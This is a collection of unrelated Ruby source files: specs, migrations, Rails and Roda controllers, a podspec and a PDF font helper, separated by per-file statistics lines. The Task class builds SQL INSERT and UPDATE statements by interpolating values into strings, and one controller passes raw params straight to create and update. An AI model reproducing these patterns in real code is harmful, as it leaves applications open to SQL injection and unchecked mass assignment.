# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { '[email protected]' => '[email protected]' }
s.source = { :git => 'https://github.com/wodely/ASUncaughtExce.git', :tag => s.version.to_s }
s.ios.deployment_target = '9.0'
s.source_files = 'ASUncaughtExce/Classes/**/*'
# s.resource_bundles = {
# 'ASCTMediator' => ['ASCTMediator/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 31.297297 | 105 | 0.597582 |
e8239db8680043a87094f9bcf2b8e6e107709187 | 1,020 | describe MagicBell do
let(:api_key) { "dummy_api_key" }
let(:api_secret) { "dummy_api_secret" }
before do
MagicBell.configure do |config|
config.api_key = api_key
config.api_secret = api_secret
end
end
after do
MagicBell.reset_config
end
describe ".configure" do
it "configures the gem" do
expect(MagicBell.api_key).to eq(api_key)
expect(MagicBell.api_secret).to eq(api_secret)
expect(MagicBell.api_secret).to eq(api_secret)
end
end
def base64_decode(base64_decoded_string)
Base64.decode64(base64_decoded_string)
end
describe "#hmac" do
let(:user_email) { "[email protected]" }
let(:magicbell) { MagicBell::Client.new }
it "calls the hmac method on MagicBell::Client object" do
expect(MagicBell::Client).to receive(:new).with(api_key: MagicBell.api_key, api_secret: MagicBell.api_secret).and_return(magicbell)
expect(magicbell).to receive(:hmac).with(user_email)
MagicBell.hmac(user_email)
end
end
end
| 25.5 | 137 | 0.702941 |
08c049ea840789068aaa0fb4f099ce24f05f7f0e | 274 | class CreateClients < ActiveRecord::Migration[5.1]
def change
create_table :clients do |t|
t.text :name
t.text :phone
t.text :datestamp
t.text :barber
t.text :color
t.timestamps #создаёт created_at и updated_at
end
end
end
| 17.125 | 51 | 0.635036 |
e83fef06b3af01d2339f14fa571242560dc6745a | 400 | Sequel.migration do
up do
create_table :users do
primary_key :id
String :name, :null => true
String :nickname, :null => true
String :twitter_user, :null => true
String :facebook_user, :null => true
String :image, :null => true
end
add_index :users, :twitter_user
add_index :users, :facebook_user
end
down do
drop_table :users
end
end
| 20 | 42 | 0.6275 |
bf9ff922c05255377947087ec97ac1283c7f5520 | 3,487 | # frozen_string_literal: true
require 'spec_helper'
describe Gitlab::Ci::Pipeline::Chain::Build do
set(:project) { create(:project, :repository) }
set(:user) { create(:user, developer_projects: [project]) }
let(:pipeline) { Ci::Pipeline.new }
let(:variables_attributes) do
[{ key: 'first', secret_value: 'world' },
{ key: 'second', secret_value: 'second_world' }]
end
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
source: :push,
origin_ref: 'master',
checkout_sha: project.commit.id,
after_sha: nil,
before_sha: nil,
trigger_request: nil,
schedule: nil,
merge_request: nil,
project: project,
current_user: user,
variables_attributes: variables_attributes)
end
let(:step) { described_class.new(pipeline, command) }
before do
stub_repository_ci_yaml_file(sha: anything)
end
it 'never breaks the chain' do
step.perform!
expect(step.break?).to be false
end
it 'fills pipeline object with data' do
step.perform!
expect(pipeline.sha).not_to be_empty
expect(pipeline.sha).to eq project.commit.id
expect(pipeline.ref).to eq 'master'
expect(pipeline.tag).to be false
expect(pipeline.user).to eq user
expect(pipeline.project).to eq project
expect(pipeline.variables.map { |var| var.slice(:key, :secret_value) })
.to eq variables_attributes.map(&:with_indifferent_access)
end
it 'sets a valid config source' do
step.perform!
expect(pipeline.repository_source?).to be true
end
it 'returns a valid pipeline' do
step.perform!
expect(pipeline).to be_valid
end
it 'does not persist a pipeline' do
step.perform!
expect(pipeline).not_to be_persisted
end
context 'when pipeline is running for a tag' do
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
source: :push,
origin_ref: 'mytag',
checkout_sha: project.commit.id,
after_sha: nil,
before_sha: nil,
trigger_request: nil,
schedule: nil,
merge_request: nil,
project: project,
current_user: user)
end
before do
allow_any_instance_of(Repository).to receive(:tag_exists?).with('mytag').and_return(true)
step.perform!
end
it 'correctly indicated that this is a tagged pipeline' do
expect(pipeline).to be_tag
end
end
context 'when pipeline is running for a merge request' do
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
source: :merge_request_event,
origin_ref: 'feature',
checkout_sha: project.commit.id,
after_sha: nil,
before_sha: nil,
source_sha: merge_request.diff_head_sha,
target_sha: merge_request.target_branch_sha,
trigger_request: nil,
schedule: nil,
merge_request: merge_request,
project: project,
current_user: user)
end
let(:merge_request) { build(:merge_request, target_project: project) }
before do
step.perform!
end
it 'correctly indicated that this is a merge request pipeline' do
expect(pipeline).to be_merge_request_event
expect(pipeline.merge_request).to eq(merge_request)
end
it 'correctly sets souce sha and target sha to pipeline' do
expect(pipeline.source_sha).to eq(merge_request.diff_head_sha)
expect(pipeline.target_sha).to eq(merge_request.target_branch_sha)
end
end
end
| 26.416667 | 95 | 0.667909 |
0337320ce1e291e98e8f4f5276fb654bf3db5b8c | 1,516 | class ScenariosController < ApplicationController
def index
@plan = Plan.find(params[:plan_id])
respond_to do |format|
format.html
end
end
def show
@scenario = Scenario.find(params[:id])
respond_to do |format|
format.js
end
end
def create
@plan = Plan.find(params[:plan_id])
@scenario = @plan.scenarios.create(params[:scenario])
@feature = @scenario.feature.reload
respond_to do |format|
format.js
end
end
def duplicate
@scenario = Scenario.find(params[:id]).duplicate
respond_to do |format|
format.html { redirect_to(scenario_steps_url(@scenario)) }
end
end
def edit
@scenario = Scenario.find(params[:id])
respond_to do |format|
format.js
end
end
def update
@scenario = Scenario.find(params[:id])
@scenario.update_attributes(params[:scenario])
respond_to do |format|
format.js
end
end
def update_step_order
order = params["step-list"]
order.each_with_index do |id, new_position|
Step.find(id).update_attribute(:position, new_position + 1)
end
@scenario = Scenario.find(params[:id])
respond_to do |format|
format.js
end
end
def destroy
@scenario = Scenario.destroy(params[:id])
@feature = @scenario.feature
respond_to do |format|
format.html do
redirect_to(plan_scenarios_url(@scenario.plan.id,
:anchor => dom_id(@feature)))
end
format.js
end
end
end
| 18.487805 | 65 | 0.639182 |
ed801569d4b6e3618cc73a72b7d027f6db57d26b | 1,419 | # coding: UTF-8
require 'pathname'
require 'sprockets'
require 'execjs'
require 'haml_coffee_assets/global_context'
require 'haml_coffee_assets/configuration'
require 'haml_coffee_assets/compiler'
require 'haml_coffee_assets/version'
require 'haml_coffee_assets/transformer'
if defined?(Rails) && Rails.version >= '3.0.0'
require 'rails'
require 'haml_coffee_assets/rails/engine'
require 'haml_coffee_assets/action_view/patches'
else
require 'sprockets/engines'
Sprockets.register_engine '.hamlc', ::HamlCoffeeAssets::Transformer
end
# Main Haml Coffee Assets module with
# its configuration settings.
#
module HamlCoffeeAssets
# Get the path to the `hamlcoffee.js.coffee.erb` helper file.
#
# @return [String] the absolute path to the helpers file
#
def self.helpers_path
File.expand_path(File.join(File.dirname(__FILE__), '..', 'vendor', 'assets', 'javascripts', 'hamlcoffee.js.coffee.erb'))
end
# Get the Haml Coffee Assets helper file
#
# @param [Boolean] compile whether to compile the CS helpers or not
# @return [String] the helpers content
#
def self.helpers(compile=true)
require 'erb'
content = File.read(HamlCoffeeAssets.helpers_path)
script = ERB.new(content).result(binding)
if compile
require 'coffee-script'
script = CoffeeScript.compile(script)
end
script << GlobalContext.to_s if defined?(Rails)
script
end
end
| 24.894737 | 124 | 0.736434 |
0870c991474f4f41f0c67c6743fb10a642273f8a | 3,340 | # frozen_string_literal: true
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
# Mayor.create(name: 'Emanuel', city: cities.first)
#
if Report.count == 0
# if there is no current report
Report.create(name: 'Kuh Bertha', start_date: Time.now)
end
# Create default topics:
Topic.find_or_create_by(name: 'milk_quantity')
Topic.find_or_create_by(name: 'milk_quality')
Topic.find_or_create_by(name: 'movement')
Topic.find_or_create_by(name: 'temperature')
Topic.find_or_create_by(name: 'intake')
Topic.find_or_create_by(name: 'birth')
Topic.find_or_create_by(name: 'calf')
Topic.find_or_create_by(name: 'noise')
Topic.find_or_create_by(name: 'health')
default_channel = Channel.find_or_create_by(
name: 'sensorstory'
) do |c|
c.description = 'Default Channel'
end
Channel.find_or_create_by(
name: 'chatbot'
) do |c|
c.description = 'Chatbot Channel'
end
Report.find_each do |report|
report.text_components.each do |text_component|
text_component.channels << default_channel unless text_component.channels.include?(default_channel)
end
end
attribute_hashes = [
{ property: 'Temperature', unit: '°C' },
{ property: 'Atmospheric Pressure', unit: 'Bar' },
{ property: 'Motion', unit: '0-10' },
{ property: 'Brightness', unit: '0-10' },
{ property: 'Volume', unit: '0-10' },
{ property: 'Humidity', unit: '%' },
{ property: 'Button', unit: 'On/Off' },
{ property: 'Geophone', unit: '?...?' },
{ property: 'Gas: Methan', unit: '%' },
{ property: 'Gas: Alcohol', unit: '%' },
{ property: 'Gas: Ozone', unit: '%' },
{ property: 'Air quality', unit: '?...?' },
{ property: 'Vibration', unit: '0-10' },
{ property: 'Relative Humidity', unit: '%' },
{ property: 'Pedometer', unit: 'km' },
{ property: 'Qualität', unit: 'Note 1-6' },
{ property: 'Gesundheitsstatus', unit: '0 -1 gesund/krank' },
{ property: 'Preis', unit: '€' },
{ property: 'Zeit', unit: 'hours' },
{ property: 'Milchmenge', unit: 'kg' },
{ property: 'Lautstärke', unit: '0-10 - still, leise, mittel, laut, sehr laut' },
{ property: 'Favs', unit: '0-unlimited' },
{ property: 'pH Value', unit: 'pH' },
{ property: 'Movement', unit: '1-100' }
]
new_sensor_types = attribute_hashes.collect { |attributes| SensorType.new attributes }
SensorType.find_each do |p|
# avoid duplicates
new_sensor_types.delete_if { |t| t.property == p.property && t.unit == p.unit }
end
new_sensor_types.each(&:save!)
variable_hashes = [
{ report: Report.current, key: 'exemplar', value: 'Bertha' },
{ report: Report.current, key: 'bauer', value: 'Westrup' },
{ report: Report.current, key: 'hof', value: 'Westrup - Koch' },
{ report: Report.current, key: 'kalb', value: 'Robert' }
]
variable_hashes.each do |h|
v = Variable.new(h)
v.save
end
| 35.913978 | 103 | 0.601198 |
1c0d012614904da3f6d669124c4b9c2051132677 | 1,513 | class Task
attr_reader :description, :list_id, :due_date
def initialize(attributes={})
@description = attributes.fetch(:description, "")
@list_id = attributes.fetch(:list_id).to_i
@due_date = attributes.fetch(:due_date)
@complete = attributes.fetch(:complete)
end
def ==(another_task)
description == another_task.description
end
def self.all
returned_tasks = DB.exec('SELECT * FROM tasks ORDER BY due_date;');
tasks =[]
returned_tasks.each do |task|
description = task.fetch('description')
list_id = task.fetch('list_id')
due_date = task.fetch('due_date')
complete = task.fetch('complete')
complete = false if complete == 'f'
complete = true if complete == 't'
tasks.push(Task.new({ description: description, list_id: list_id, due_date: due_date, complete: complete }))
end
tasks
end
def save
DB.exec("INSERT INTO tasks (description, list_id, due_date, complete) VALUES ('#{@description}', #{@list_id}, '#{@due_date}', #{@complete} );")
end
def ==(another_task)
self.description == another_task.description &&
self.due_date == another_task.due_date &&
self.complete? == another_task.complete? &&
self.list_id == another_task.list_id
end
def complete?
@complete
end
def completed
result = DB.exec("UPDATE tasks SET complete = TRUE WHERE description = '#{self.description}' RETURNING complete;")
@complete = true if result.first.fetch('complete') == 't'
end
end
| 29.666667 | 147 | 0.668209 |
331970970a91531d779cf0b53aaa9fcecf3972d9 | 365 | cask 'hostbuddy' do
version '2.2.4,20_13'
sha256 '613c9eb8972d2bbfb53fda0b16b033d6d668e4de9f8667ecbe1bf0337dcab41a'
url "https://download.clickontyler.com/hostbuddy/hostbuddy#{version.after_comma}.zip"
appcast 'https://shine.clickontyler.com/appcast.php?id=41'
name 'Hostbuddy'
homepage 'https://clickontyler.com/hostbuddy/'
app 'Hostbuddy.app'
end
| 30.416667 | 87 | 0.778082 |
e8a0194d47061c8f7af67394b045ebd3f1e1bcd8 | 305 | array = [1,3,4,5]
def calc(so_far, sum, array, d)
puts "#{so_far}, #{sum}, #{array}"
return so_far if sum == d
return false if array.empty?
return calc(so_far.dup << array.first, sum + array.first, array.drop(1), d) || calc(so_far.dup, sum, array.drop(1), d)
end
puts calc([], 0, array, 11).to_s | 30.5 | 120 | 0.632787 |
e86b8cc2b2a4508e299f82ced700b51a33c1c170 | 1,200 | require 'minitest/spec'
require 'minitest/autorun'
require 'open3'
require_relative '../support/nat_binary'
class ReplWrapper
def initialize(cmd)
@in, @out, @wait_thr = Open3.popen2e(*cmd)
end
def execute(input)
@in.puts input
end
def out
@out.read.strip
end
def quit
@in.close
end
end
describe 'REPL' do
describe 'MRI-hosted' do
it 'can execute expressions and affect the environment' do
execute(NAT_BINARY)
end
end
def execute(cmd)
@repl = ReplWrapper.new(cmd)
@repl.execute('x = 100')
@repl.execute('y = 3 * 4')
@repl.execute('@z = "z"')
@repl.execute('x')
@repl.execute('[y, @z]')
@repl.execute('self')
@repl.execute('def foo; 2; end')
@repl.execute('def bar; 3; end')
@repl.execute('foo = foo') # does NOT call the function
@repl.execute('foo = bar') # DOES call the function
@repl.quit
expect(@repl.out).must_equal dedent(<<-EOF)
nat> 100
nat> 12
nat> "z"
nat> 100
nat> [12, "z"]
nat> main
nat> :foo
nat> :bar
nat> nil
nat> 3
nat>
EOF
end
def dedent(str)
str.split(/\n/).map(&:strip).join("\n")
end
end
| 19.047619 | 62 | 0.584167 |
33d318bf226f3f4f7985f5b1802b2cb092fc7236 | 4,168 | # -*- encoding: utf-8; frozen_string_literal: true -*-
#
#--
# This file is part of HexaPDF.
#
# HexaPDF - A Versatile PDF Creation and Manipulation Library For Ruby
# Copyright (C) 2014-2021 Thomas Leitner
#
# HexaPDF is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License version 3 as
# published by the Free Software Foundation with the addition of the
# following permission added to Section 15 as permitted in Section 7(a):
# FOR ANY PART OF THE COVERED WORK IN WHICH THE COPYRIGHT IS OWNED BY
# THOMAS LEITNER, THOMAS LEITNER DISCLAIMS THE WARRANTY OF NON
# INFRINGEMENT OF THIRD PARTY RIGHTS.
#
# HexaPDF is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public
# License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with HexaPDF. If not, see <http://www.gnu.org/licenses/>.
#
# The interactive user interfaces in modified source and object code
# versions of HexaPDF must display Appropriate Legal Notices, as required
# under Section 5 of the GNU Affero General Public License version 3.
#
# In accordance with Section 7(b) of the GNU Affero General Public
# License, a covered work must retain the producer line in every PDF that
# is created or manipulated using HexaPDF.
#
# If the GNU Affero General Public License doesn't fit your need,
# commercial licenses are available at <https://gettalong.at/hexapdf/>.
#++
require 'hexapdf/configuration'
require 'hexapdf/font_loader'
module HexaPDF
class Document
# This class provides utility functions for working with fonts. It is available through the
# HexaPDF::Document#fonts method.
class Fonts
# Creates a new Fonts object for the given PDF document.
def initialize(document)
@document = document
@loaded_fonts_cache = {}
end
# :call-seq:
# fonts.add(name, **options) -> font
#
# Adds the font to the document and returns it (using the loaders specified with the
# configuration option 'font_loaders').
#
# If a font with the same parameters has been loaded before, the cached font object is used.
def add(name, **options)
options[:variant] ||= :none # assign default value for consistency with caching
font = @loaded_fonts_cache[[name, options]]
return font if font
each_font_loader do |loader|
font = loader.call(@document, name, **options)
break if font
end
if font
@loaded_fonts_cache[[name, options]] = font
else
font_list = configured_fonts.sort.map do |font_name, variants|
"#{font_name} (#{variants.join(', ')})"
end.join(', ')
raise HexaPDF::Error, "The requested font '#{name}' in variant '#{options[:variant]}' " \
"couldn't be found. Configured fonts: #{font_list}"
end
end
# Returns a hash of the form 'font_name => [variants, ...]' with all the fonts that are
# configured. These fonts can be added to the document by using the #add method.
def configured_fonts
result = {}
each_font_loader do |loader|
next unless loader.respond_to?(:available_fonts)
loader.available_fonts(@document).each do |name, variants|
if result.key?(name)
result[name].concat(variants).uniq!
else
result[name] = variants
end
end
end
result
end
private
# :call-seq:
# fonts.each_font_loader {|loader| block}
#
# Iterates over all configured font loaders.
def each_font_loader
@document.config['font_loader'].each_index do |index|
loader = @document.config.constantize('font_loader', index) do
raise HexaPDF::Error, "Couldn't retrieve font loader ##{index} from configuration"
end
yield(loader)
end
end
end
end
end
| 35.623932 | 99 | 0.664587 |
03f934529cd3854cd6168b5b0b15d19ae0446c0e | 78,345 | # frozen_string_literal: true
class Nspack < Roda
route 'finished_goods', 'rmd' do |r|
# --------------------------------------------------------------------------
# OFFLOAD VEHICLE
# --------------------------------------------------------------------------
r.on 'offload_vehicle' do
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
notice = retrieve_from_local_store(:flash_notice)
default_location = MasterfilesApp::LocationRepo.new.find_location_by_location_long_code(AppConst::DEFAULT_FIRST_INTAKE_LOCATION)
raise Crossbeams::InfoError, "#{AppConst::DEFAULT_FIRST_INTAKE_LOCATION} does not exist as the default first intake location" if default_location.nil?
form_state = { location: MasterfilesApp::LocationRepo.new.find_location_by_location_long_code(AppConst::DEFAULT_FIRST_INTAKE_LOCATION).location_short_code }
error = retrieve_from_local_store(:error)
form_state.merge!(error_message: error[:message]) unless error.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :vehicle,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Tripsheet And Location',
action: '/rmd/finished_goods/offload_vehicle',
button_caption: 'Submit')
form.add_field(:vehicle_job, 'Tripsheet Number', scan: 'key248_all', scan_type: :vehicle_job, submit_form: false, required: true, lookup: false)
# form.add_field(:location, 'Location', scan: 'key248_all', scan_type: :location, submit_form: false, required: true, lookup: true)
form.add_select(:location,
'Location',
items: MasterfilesApp::LocationRepo.new.for_select_location_for_assignment(AppConst::WAREHOUSE_RECEIVING_AREA),
required: true,
prompt: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.validate_offload_vehicle(params[:vehicle][:vehicle_job], params[:vehicle][:location])
if res.success
store_locally(:flash_notice, res.message)
r.redirect("/rmd/finished_goods/scan_offload_vehicle_pallet/#{params[:vehicle][:vehicle_job]}")
else
store_locally(:error, res)
r.redirect('/rmd/finished_goods/offload_vehicle')
end
end
end
r.on 'scan_offload_vehicle_pallet', Integer do |id|
r.get do
notice = retrieve_from_local_store(:flash_notice)
form_state = {}
error = retrieve_from_local_store(:error)
form_state.merge!(error_message: error[:message]) unless error.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :pallet,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Offload Pallet',
action: "/rmd/finished_goods/scan_offload_vehicle_pallet/#{id}",
button_caption: 'Submit')
tripsheet_pallets = FinishedGoodsApp::GovtInspectionRepo.new.get_vehicle_job_units(id)
form.add_label(:location, 'Location', FinishedGoodsApp::GovtInspectionRepo.new.get_vehicle_job_location(tripsheet_pallets.first[:vehicle_job_id]))
form.add_field(:pallet_number, 'Pallet Number', scan: 'key248_all', scan_type: :pallet_number, submit_form: true, data_type: :number, required: true)
unless (loaded_p = tripsheet_pallets.find_all { |p| !p[:offloaded_at] }).empty?
form.add_section_header('Pallets Still On Load')
loaded_p.each do |l|
form.add_label(:loaded_pallet, '', l[:pallet_number])
end
end
unless (offloaded_p = tripsheet_pallets.find_all { |p| p[:offloaded_at] }).empty?
form.add_section_header('Pallets Already Offloaded')
offloaded_p.each do |o|
form.add_label(:offloaded_pallet, '', o[:pallet_number])
end
end
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
repo = MesscadaApp::MesscadaRepo.new
if FinishedGoodsApp::GovtInspectionRepo.new.find_vehicle_job(id).business_process_id == repo.find_business_process('FIRST_INTAKE')[:id]
seqs = repo.find_pallet_sequences_by_pallet_number(params[:pallet][:pallet_number]).all
form = Crossbeams::RMDForm.new({ pallet_number: params[:pallet][:pallet_number] },
form_name: :pallet,
notes: nil,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Validate Pallet',
reset_button: false,
action: "/rmd/finished_goods/reject_vehicle_pallet/#{id}",
button_caption: 'Reject Pallet')
form.add_label(:pallet_number, 'Pallet Number', params[:pallet][:pallet_number], params[:pallet][:pallet_number])
form.add_label(:pallet_sequences, 'Pallet Number Sequences', seqs.length)
form.add_label(:pallet_sequences, 'Pallet Ctn Qty', seqs.empty? ? '-' : seqs[0][:pallet_carton_quantity])
form.add_label(:packhouse, 'Packhouse', seqs.map { |s| s[:packhouse] }.uniq.join(','))
form.add_label(:commodity, 'Commodity', seqs.map { |s| s[:commodity] }.uniq.join(','))
form.add_label(:variety, 'Variety', seqs.map { |s| s[:marketing_variety] }.uniq.join(','))
form.add_label(:packed_tm_group, 'Packed Tm Group', seqs.map { |s| s[:packed_tm_group] }.uniq.join(','))
form.add_label(:grade, 'Grade', seqs.map { |s| s[:grade] }.uniq.join(','))
form.add_label(:size_ref, 'Size Ref', seqs.map { |s| s[:size_ref] }.uniq.join(','))
form.add_label(:std_pack, 'Std Pack', seqs.map { |s| s[:std_pack] }.uniq.join(','))
form.add_label(:actual_count, 'Actual Count', seqs.map { |s| s[:actual_count] }.uniq.join(','))
form.add_label(:stack_type, 'Stack Type', seqs.map { |s| s[:stack_type] }.uniq.join(','))
form.add_button('Accept Pallet', "/rmd/finished_goods/scan_offload_vehicle_pallet_submit/#{id}")
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
else
offload_valid_vehicle_pallet(r, id)
end
end
end
r.on 'scan_offload_vehicle_pallet_submit', Integer do |id|
offload_valid_vehicle_pallet(r, id)
end
r.on 'reject_vehicle_pallet', Integer do |id|
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
store_locally(:error, interactor.failed_response("Pallet: #{params[:pallet][:pallet_number]} has been rejected"))
r.redirect("/rmd/finished_goods/scan_offload_vehicle_pallet/#{id}")
end
# --------------------------------------------------------------------------
# DISPATCH
# --------------------------------------------------------------------------
r.on 'dispatch' do
repo = BaseRepo.new
interactor = FinishedGoodsApp::LoadInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
# ALLOCATE PALLETS TO LOAD
# --------------------------------------------------------------------------
r.on 'allocate' do
# --------------------------------------------------------------------------
r.on 'load', Integer do |load_id|
check = interactor.check(:allocate, load_id)
unless check.success
interactor.stepper(:allocate).clear
store_locally(:flash_notice, rmd_error_message(check.message))
r.redirect('/rmd/finished_goods/dispatch/allocate/load')
end
r.on 'complete_allocation' do
allocated = interactor.stepper(:allocate).allocated
initial_allocated = interactor.stepper(:allocate).initial_allocated
res = interactor.allocate_multiselect(load_id, allocated, initial_allocated)
if res.success
interactor.stepper(:allocate).clear
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/finished_goods/dispatch/allocate/load')
else
store_locally(:flash_notice, rmd_error_message(res.message))
r.redirect("/rmd/finished_goods/dispatch/allocate/load/#{load_id}")
end
end
r.get do
form_state = interactor.stepper(:allocate).form_state
r.redirect('/rmd/finished_goods/dispatch/allocate/load') if form_state.empty?
progress = interactor.stepper(:allocate).allocation_progress
links = [{ caption: 'Cancel', url: '/rmd/finished_goods/dispatch/allocate/load/clear', prompt: 'Cancel Load?' }]
links << { caption: 'Complete allocation', url: "/rmd/finished_goods/dispatch/allocate/load/#{load_id}/complete_allocation", prompt: 'Complete allocation?' } unless progress.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :allocate,
scan_with_camera: @rmd_scan_with_camera,
progress: progress,
links: links,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Allocate Pallets',
action: "/rmd/finished_goods/dispatch/allocate/load/#{load_id}",
button_caption: 'Submit')
form.add_label(:load_id, 'Load', load_id)
form.add_label(:voyage_code, 'Voyage Code', form_state[:voyage_code])
form.add_label(:container_code, 'Container Code', form_state[:container_code]) unless form_state[:container_code].nil?
form.add_field(:pallet_number,
'Pallet',
scan: 'key248_all',
scan_type: :pallet_number,
submit_form: true,
data_type: 'number',
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
scanned_number = MesscadaApp::ScannedPalletNumber.new(scanned_pallet_number: params[:allocate][:pallet_number]).pallet_number
res = interactor.check(:allocate_to_load, load_id, scanned_number)
if res.success
res = interactor.stepper_allocate_pallet(:allocate, load_id, scanned_number)
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect("/rmd/finished_goods/dispatch/allocate/load/#{load_id}")
end
end
store_locally(:flash_notice, rmd_error_message(res.message))
r.redirect("/rmd/finished_goods/dispatch/allocate/load/#{load_id}")
end
end
r.on 'load' do
r.on 'clear' do
interactor.stepper(:allocate).clear
r.redirect('/rmd/finished_goods/dispatch/allocate/load')
end
r.get do
form_state = {}
current_load = interactor.stepper(:allocate)
r.redirect("/rmd/finished_goods/dispatch/allocate/load/#{current_load.id}") unless current_load&.id.nil?
form_state = current_load.form_state if current_load&.error?
form = Crossbeams::RMDForm.new(form_state,
form_name: :allocate,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Allocate Pallets',
action: '/rmd/finished_goods/dispatch/allocate/load',
button_caption: 'Submit')
form.add_field(:load_id,
'Load',
data_type: 'number',
scan: 'key248_all',
scan_type: :load,
submit_form: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
current_load = interactor.stepper(:allocate)
load_id = params[:allocate][:load_id]
res = interactor.check(:allocate, load_id)
if res.success
current_load.setup_load(load_id)
r.redirect("/rmd/finished_goods/dispatch/allocate/load/#{load_id}")
else
current_load.write(form_state: { error_message: res.message, errors: res.errors })
r.redirect('/rmd/finished_goods/dispatch/allocate/load')
end
end
end
end
# TRUCK ARRIVAL
# --------------------------------------------------------------------------
r.on 'truck_arrival' do
# --------------------------------------------------------------------------
r.on 'load', Integer do |load_id|
check = interactor.check(:truck_arrival, load_id)
unless check.success
store_locally(:flash_notice, rmd_error_message(check.message))
r.redirect('/rmd/finished_goods/dispatch/truck_arrival/load')
end
r.on 'vehicle_type_changed' do
value = MasterfilesApp::VehicleTypeRepo.new.find_vehicle_type(params[:changed_value])&.has_container
UiRules::ChangeRenderer.render_json(:rmd_load,
self,
:change_container_use,
use_container: value,
load_id: load_id)
end
r.on 'container_changed' do
UiRules::ChangeRenderer.render_json(:rmd_load,
self,
:change_container_use,
use_container: params[:changed_value] == 't',
load_id: load_id)
end
r.get do
# set defaults
form_state = {}
form_state[:actual_payload] = FinishedGoodsApp::LoadContainerRepo.new.calculate_actual_payload(load_id) if AppConst::CR_FG.verified_gross_mass_required_for_loads?
# checks if load_container exists
container_id = repo.get_id(:load_containers, load_id: load_id)
unless container_id.nil?
form_state = form_state.merge(FinishedGoodsApp::LoadContainerRepo.new.find_load_container_flat(container_id).to_h)
form_state[:container] = 't'
end
# checks if load_vehicle exists
vehicle_id = repo.get_id(:load_vehicles, load_id: load_id)
form_state = form_state.merge(FinishedGoodsApp::LoadVehicleRepo.new.find_load_vehicle_flat(vehicle_id).to_h) unless vehicle_id.nil?
# overrides if redirect from error
res = retrieve_from_local_store(:res)
unless res.nil?
form_state = res.instance
form_state[:error_message] = res.message
form_state[:errors] = res.errors
end
has_container = form_state[:container] == 'true'
form = Crossbeams::RMDForm.new(form_state,
form_name: :truck_arrival,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Truck Arrival',
action: "/rmd/finished_goods/dispatch/truck_arrival/load/#{load_id}",
button_caption: 'Submit')
form.behaviours do |behaviour|
behaviour.dropdown_change :vehicle_type_id,
notify: [{ url: "/rmd/finished_goods/dispatch/truck_arrival/load/#{load_id}/vehicle_type_changed" }]
behaviour.input_change :container,
notify: [{ url: "/rmd/finished_goods/dispatch/truck_arrival/load/#{load_id}/container_changed" }]
end
form.add_label(:load_id, 'Load', load_id, load_id)
form.add_label(:load_vehicle_id, 'vehicle_id', vehicle_id, vehicle_id, hide_on_load: true)
form.add_label(:load_container_id, 'container_id', container_id, container_id, hide_on_load: true)
form.add_field(:vehicle_number,
'Vehicle Number',
data_type: 'string',
force_uppercase: true,
required: true)
form.add_select(:vehicle_type_id,
'Vehicle Type',
items: MasterfilesApp::VehicleTypeRepo.new.for_select_vehicle_types,
prompt: true)
form.add_select(:haulier_party_role_id,
'Haulier',
items: MasterfilesApp::PartyRepo.new.for_select_party_roles(AppConst::ROLE_HAULIER),
prompt: true)
form.add_field(:vehicle_weight_out,
'Vehicle Weight Out',
data_type: 'number',
allow_decimals: true,
required: false)
form.add_field(:driver_name, 'Driver')
form.add_field(:driver_cell_number,
'Driver Cell no',
data_type: 'number')
form.add_field(:dispatch_consignment_note_number,
'Consignment Note Number',
data_type: 'string',
required: false,
hide_on_load: true)
form.add_toggle(:container,
'Container')
form.add_section_header(rmd_info_message('Container Info'),
id: 'container_info_section',
hide_on_load: !has_container)
form.add_field(:container_code,
'Container Code',
data_type: 'string',
required: false,
force_uppercase: true,
hide_on_load: !has_container)
form.add_field(:container_vents,
'Container Vents',
data_type: 'string',
required: false,
hide_on_load: !has_container)
form.add_field(:container_seal_code,
'Container Seal Code',
data_type: 'string',
required: false,
hide_on_load: !has_container)
form.add_field(:container_temperature_rhine,
'Temperature Rhine',
data_type: 'string',
scan: 'key248_all',
required: false,
hide_on_load: !has_container)
form.add_field(:container_temperature_rhine2,
'Temperature Rhine2',
data_type: 'string',
scan: 'key248_all',
required: false,
hide_on_load: !has_container)
form.add_field(:max_gross_weight,
'Max Gross Weight',
data_type: 'number',
